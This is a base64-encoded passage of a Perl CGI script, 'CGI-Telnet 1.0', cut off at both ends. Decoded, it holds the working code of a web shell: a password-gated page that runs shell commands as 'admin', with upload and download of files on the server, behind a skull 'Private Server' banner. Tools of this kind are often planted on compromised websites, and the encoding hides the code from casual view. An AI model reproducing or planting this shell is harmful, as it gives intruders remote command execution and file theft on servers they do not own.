QkJCSMgcGluZywgc28gdGhhdCB5b3UgY2FuIHNlZSB0aGUgb3V0cHV0IGFzIGl0CgkJCQkjIGlzIGJlaW5nIGdlbmVyYXRlZC4KCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISEKCiRDbWRTZXAgPSAoJFdpbk5UID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOwokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7CiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIgOiAiLyIpOwokUmVkaXJlY3RvciA9ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOwoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFJlYWRzIHRoZSBpbnB1dCBzZW50IGJ5IHRoZSBicm93c2VyIGFuZCBwYXJzZXMgdGhlIGlucHV0IHZhcmlhYmxlcy4gSXQKIyBwYXJzZXMgR0VULCBQT1NUIGFuZCBtdWx0aXBhcnQvZm9ybS1kYXRhIHRoYXQgaXMgdXNlZCBmb3IgdXBsb2FkaW5nIGZpbGVzLgojIFRoZSBmaWxlbmFtZSBpcyBzdG9yZWQgaW4gJGlueydmJ30gYW5kIHRoZSBkYXRhIGlzIHN0b3JlZCBpbiAkaW57J2ZpbGVkYXRhJ30uCiMgT3RoZXIgdmFyaWFibGVzIGNhbiBiZSBhY2Nlc3NlZCB1c2luZyAkaW57J3Zhcid9LCB3aGVyZSB2YXIgaXMgdGhlIG5hbWUgb2YKIyB0aGUgdmFyaWFibGUuIE5vdGU6IE1vc3Qgb2YgdGhlIGNvZGUgaW4gdGhpcyBmdW5jdGlvbiBpcyB0YWtlbiBmcm9tIG90aGVyIENHSQojIHNjcmlwdHMuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFJlYWRQYXJzZSAKewoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsKCWxvY2FsICgkaSwgJGxvYywgJGtleSwgJHZhbCk7CgkKCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOwoKCWlmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIkdFVCIpCgl7CgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307Cgl9CgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikKCXsKCQliaW5tb2RlKFNURElOKSBpZiAkTXVsdGlwYXJ0Rm9ybURhdGEgJiAkV2luTlQ7CgkJcmVhZChTVERJTiwgJGluLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsKCX0KCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykKCXsKCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IAoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IAoJCSRIZWFkZXJCb2R5ID0gJGxpc3RbMV07CgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOwoJCSRIZWFkZXIgPSAkYDsKCQkkQm9keSA9ICQnOwogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlCgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7CgkJJEhlYWRlciA9fiAvZmlsZW5hbWU9XCIoLispXCIvOyAKCQkkaW57J2YnfSA9ICQxOyAKCQkkaW57J2YnfSA9fiBzL1wiLy9nOwoJCSRpbnsnZid9ID1+IHMvXHMvL2c7CgoJCSMgcGFyc2UgdHJhaWxlcgoJCWZvcigkaT0yOyAkbGlzdFskaV07ICRpKyspCgkJeyAKCQkJJGxpc3RbJGldID1+IHMvXi4rbmFtZT0kLy87CgkJCSRsaXN0WyRpXSA9fiAvXCIoXHcrKVwiLzsKCQkJJGtleSA9ICQxOwoJCQkkdmFsID0gJCc7CgkJCSR2YWwgPX4gcy8oXihcclxuXHJcbnxcblxuKSl8KFxyXG4kfFxuJCkvL2c7CgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7CgkJCSRpbnska2V5fSA9ICR2YWw7IAoJCX0KCX0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQoJewoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsKCQlmb3JlYWNoICRpICgwIC4uICQjaW4pCgkJewoJCQkkaW5bJGldID1+IHMvXCsvIC9nOwoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOwoJCQkka2V5ID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsKCQkJJGlueyRrZXl9IC49ICR2YWw7CgkJfQoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIFBhZ2UgSGVhZGVyCiMgQXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMgc2hvdWxkIGJlIHNldAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludFBhZ2VIZWFkZXIKewoJJEVuY29kZWRDdXJyZW50RGlyID0gJEN1cnJlbnREaXI7CgkkRW5jb2RlZEN1cnJlbnREaXIgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7CglwcmludCA8PEVORDsKPGh0bWw+CjxoZWFkPgo8dGl0bGU+Q0dJLVRlbG5ldCBWZXJzaW9uIDEuMDwvdGl0bGU+CiRIdG1sTWV0YUhlYWRlcgo8L2hlYWQ+Cjxib2R5IG9uTG9hZD0iZG9jdW1lbnQuZi5AXy5mb2N1cygpIiBiZ2NvbG9yPSIjMDAwMDAwIiB0b3BtYXJnaW49IjAiIGxlZnRtYXJnaW49IjAiIG1hcmdpbndpZHRoPSIwIiBtYXJnaW5oZWlnaHQ9IjAiPgo8dGFibGUgYm9yZGVyPSIxIiB3aWR0aD0iMTAwJSIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIyIj4KPHRyPgo8dGQgYmdjb2xvcj0iI0MyQkZBNSIgYm9yZGVyY29sb3I9IiMwMDAwODAiIGFsaWduPSJjZW50ZXIiPgo8Yj48Zm9udCBjb2xvcj0iIzAwMDA4MCIgc2l6ZT0iMiI+IzwvZm9udD48L2I+PC90ZD4KPHRkIGJnY29sb3I9IiMwMDAwODAiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjIiIGNvbG9yPSIjRkZGRkZGIj48Yj5DR0ktVGVsbmV0IFZlcnNpb24gMS4wIC0gQ29ubmVjdGVkIHRvICRTZXJ2ZXJOYW1lPC9iPjwvZm9udD48L3RkPgo8L3RyPgo8dHI+Cjx0ZCBjb2xzcGFuPSIyIiBiZ2NvbG9yPSIjQzJCRkE1Ij48Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj4KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9dXBsb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij5EaXNjb25uZWN0PC9hPiB8CjxhIGhyZWY9Imh0dHA6Ly93d3cucm9oaXRhYi5jb20vY2dpc2NyaXB0cy9jZ2l0ZWxuZXQuaHRtbCI+SGVscDwvYT4KPC9mb250PjwvdGQ+CjwvdHI+CjwvdGFibGU+Cjxmb250IGNvbG9yPSIjQzBDMEMwIiBzaXplPSIzIj4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luU2NyZWVuCnsKCSRNZXNzYWdlID0gcSQ8cHJlPjxmb250IGNvbG9yPSIjNjY5OTk5Ij4gX19fX18gIF9fX19fICBfX19fXyAgICAgICAgICBfX19fXyAgICAgICAgXyAgICAgICAgICAgICAgIF8KLyAgX18gXHwgIF9fIFx8XyAgIF98ICAgICAgICB8XyAgIF98ICAgICAgfCB8ICAgICAgICAgICAgIHwgfAp8IC8gIFwvfCB8ICBcLyAgfCB8ICAgX19fX19fICAgfCB8ICAgIF9fXyB8IHwgXyBfXyAgICBfX18gfCB8Xwp8IHwgICAgfCB8IF9fICAgfCB8ICB8X19fX19ffCAgfCB8ICAgLyBfIFx8IHx8ICdfIFwgIC8gXyBcfCBfX3wKfCBcX18vXHwgfF9cIFwgX3wgfF8gICAgICAgICAgIHwgfCAgfCAgX18vfCB8fCB8IHwgfHwgIF9fL3wgfF8KIFxfX19fLyBcX19fXy8gXF9fXy8gICAgICAgICAgIFxfLyAgIFxfX198fF98fF98IHxffCBcX19ffCBcX198IDEuMAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAo8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPiAgICAgICAgICAgICAgICAgICAgICBfX19fX18gICAgICAgICAgICAgPC9mb250Pjxmb250IGNvbG9yPSIjQUU4MzAwIj7CqSAyMDAxLCBSb2hpdGFiIEJhdHJhPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj4KICAgICAgICAgICAgICAgICAgIC4tJnF1b3Q7ICAgICAgJnF1b3Q7LS4KICAgICAgICAgICAgICAgICAgLyAgICAgICAgICAgIFwKICAgICAgICAgICAgICAgICB8ICAgICAgICAgICAgICB8CiAgICAgICAgICAgICAgICAgfCwgIC4tLiAgLi0uICAsfAogICAgICAgICAgICAgICAgIHwgKShfby8gIFxvXykoIHwKICAgICAgICAgICAgICAgICB8LyAgICAgL1wgICAgIFx8CiAgICAgICAoQF8gICAgICAgKF8gICAgIF5eICAgICBfKQogIF8gICAgICkgXDwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+X19fX19fXzwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+XDwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+X188L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPnxJSUlJSUl8PC9mb250Pjxmb250IGNvbG9yPSIjODA4MDgwIj5fXzwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+LzwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+X19fX19fX19fX19fX19fX19fX19fX18KPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj4gKF8pPC9mb250Pjxmb250IGNvbG9yPSIjODA4MDgwIj5AOEA4PC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj57fTwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+Jmx0O19fX19fX19fPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj58LVxJSUlJSUkvLXw8L2ZvbnQ+PGZvbnQgY29sb3I9IiM4MDgwODAiPl9fX19fX19fX19fX19fX19fX19fX19fXyZndDs8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPgogICAgICAgIClfLyAgICAgICAgXCAgICAgICAgICAvIAogICAgICAgKEAgICAgICAgICAgIGAtLS0tLS0tLWAKICAgICAgICAgICAgIDwvZm9udD48Zm9udCBjb2xvcj0iI0FFODMwMCI+VyBBIFIgTiBJIE4gRzogUHJpdmF0ZSBTZXJ2ZXI8L2ZvbnQ+PC9wcmU+CiQ7CiMnCglwcmludCA8PEVORDsKPGNvZGU+ClRyeWluZyAkU2VydmVyTmFtZS4uLjxicj4KQ29ubmVjdGVkIHRvICRTZXJ2ZXJOYW1lPGJyPgpFc2NhcGUgY2hhcmFjdGVyIGlzIF5dCjxjb2RlPiRNZXNzYWdlCkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBtZXNzYWdlIHRoYXQgaW5mb3JtcyB0aGUgdXNlciBvZiBhIGZhaWxlZCBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQp7CglwcmludCA8PEVORDsKPGNvZGU+Cjxicj5sb2dpbjogYWRtaW48YnI+CnBhc3N3b3JkOjxicj4KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4KPC9jb2RlPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIGZvciBsb2dnaW5nIGluCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5Gb3JtCnsKCXByaW50IDw8RU5EOwo8Y29kZT4KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+CmxvZ2luOiBhZG1pbjxicj4KcGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgo8L2NvZGU+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBmb290ZXIgZm9yIHRoZSBIVE1MIFBhZ2UKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRQYWdlRm9vdGVyCnsKCXByaW50ICI8L2ZvbnQ+PC9ib2R5PjwvaHRtbD4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUmV0cmVpdmVzIHRoZSB2YWx1ZXMgb2YgYWxsIGNvb2tpZXMuIFRoZSBjb29raWVzIGNhbiBiZSBhY2Nlc3NlcyB1c2luZyB0aGUKIyB2YXJpYWJsZSAkQ29va2llc3snJ30KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgR2V0Q29va2llcwp7CglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOwoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykKCXsKCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7CgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9nb3V0U2NyZWVuCnsKCXByaW50ICI8Y29kZT5Db25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj48L2NvZGU+IjsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIExvZ3Mgb3V0IHRoZSB1c2VyIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gbG9naW4gYWdhaW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUGVyZm9ybUxvZ291dAp7CglwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9O1xuIjsgIyByZW1vdmUgcGFzc3dvcmQgY29va2llCgkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkmUHJpbnRMb2dvdXRTY3JlZW47CgkmUHJpbnRMb2dpblNjcmVlbjsKCSZQcmludExvZ2luRm9ybTsKCSZQcmludFBhZ2VGb290ZXI7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBsb2dpbiB0aGUgdXNlci4gSWYgdGhlIHBhc3N3b3JkIG1hdGNoZXMsIGl0CiMgZGlzcGxheXMgYSBwYWdlIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHJ1biBjb21tYW5kcy4gSWYgdGhlIHBhc3N3b3JkIGRvZW5zJ3QKIyBtYXRjaCBvciBpZiBubyBwYXNzd29yZCBpcyBlbnRlcmVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIKIyB0byBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3JtTG9naW4gCnsKCWlmKCRMb2dpblBhc3N3b3JkIGVxICRQYXNzd29yZCkgIyBwYXNzd29yZCBtYXRjaGVkCgl7CgkJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPSRMb2dpblBhc3N3b3JkO1xuIjsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCX0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkJJlByaW50TG9naW5TY3JlZW47CgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZAoJCXsKCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOwoJCX0KCQkmUHJpbnRMb2dpbkZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0KewoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CglwcmludCA8PEVORDsKPGNvZGU+Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CiRQcm9tcHQKPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImMiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPgo8L2Zvcm0+CjwvY29kZT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBkb3dubG9hZCBmaWxlcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludEZpbGVEb3dubG9hZEZvcm0KewoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CglwcmludCA8PEVORDsKPGNvZGU+Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iZG93bmxvYWQiPgokUHJvbXB0IGRvd25sb2FkPGJyPjxicj4KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KRG93bmxvYWQ6IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+CjwvZm9ybT4KPC9jb2RlPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHVwbG9hZCBmaWxlcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludEZpbGVVcGxvYWRGb3JtCnsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkQ3VycmVudERpcl1cJCAiOwoJcHJpbnQgPDxFTkQ7Cjxjb2RlPgo8Zm9ybSBuYW1lPSJmIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KJFByb21wdCB1cGxvYWQ8YnI+PGJyPgpGaWxlbmFtZTogPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPgpPcHRpb25zOiAmbmJzcDs8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im8iIHZhbHVlPSJvdmVyd3JpdGUiPgpPdmVyd3JpdGUgaWYgaXQgRXhpc3RzPGJyPjxicj4KVXBsb2FkOiZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJ1cGxvYWQiPgo8L2Zvcm0+CjwvY29kZT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB0aW1lb3V0IGZvciBhIGNvbW1hbmQgZXhwaXJlcy4gV2UgbmVlZCB0bwojIHRlcm1pbmF0ZSB0aGUgc2NyaXB0IGltbWVkaWF0ZWx5LiBUaGlzIGZ1bmN0aW9uIGlzIHZhbGlkIG9ubHkgb24gVW5peC4gSXQgaXMKIyBuZXZlciBjYWxsZWQgd2hlbiB0aGUgc2NyaXB0IGlzIHJ1bm5pbmcgb24gTlQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIENvbW1hbmRUaW1lb3V0CnsKCWlmKCEkV2luTlQpCgl7CgkJYWxhcm0oMCk7CgkJcHJpbnQgPDxFTkQ7CjwveG1wPgo8Y29kZT4KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLgo8YnI+S2lsbGVkIGl0IQo8Y29kZT4KRU5ECgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCQlleGl0OwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gZXhlY3V0ZSBjb21tYW5kcy4gSXQgZGlzcGxheXMgdGhlIG91dHB1dCBvZiB0aGUKIyBjb21tYW5kIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gZW50ZXIgYW5vdGhlciBjb21tYW5kLiBUaGUgY2hhbmdlIGRpcmVjdG9yeQojIGNvbW1hbmQgaXMgaGFuZGxlZCBkaWZmZXJlbnRseS4gSW4gdGhpcyBjYXNlLCB0aGUgbmV3IGRpcmVjdG9yeSBpcyBzdG9yZWQgaW4KIyBhbiBpbnRlcm5hbCB2YXJpYWJsZSBhbmQgaXMgdXNlZCBlYWNoIHRpbWUgYSBjb21tYW5kIGhhcyB0byBiZSBleGVjdXRlZC4gVGhlCiMgb3V0cHV0IG9mIHRoZSBjaGFuZ2UgZGlyZWN0b3J5IGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZCB0byB0aGUgdXNlcnMKIyB0aGVyZWZvcmUgZXJyb3IgbWVzc2FnZXMgY2Fubm90IGJlIGRpc3BsYX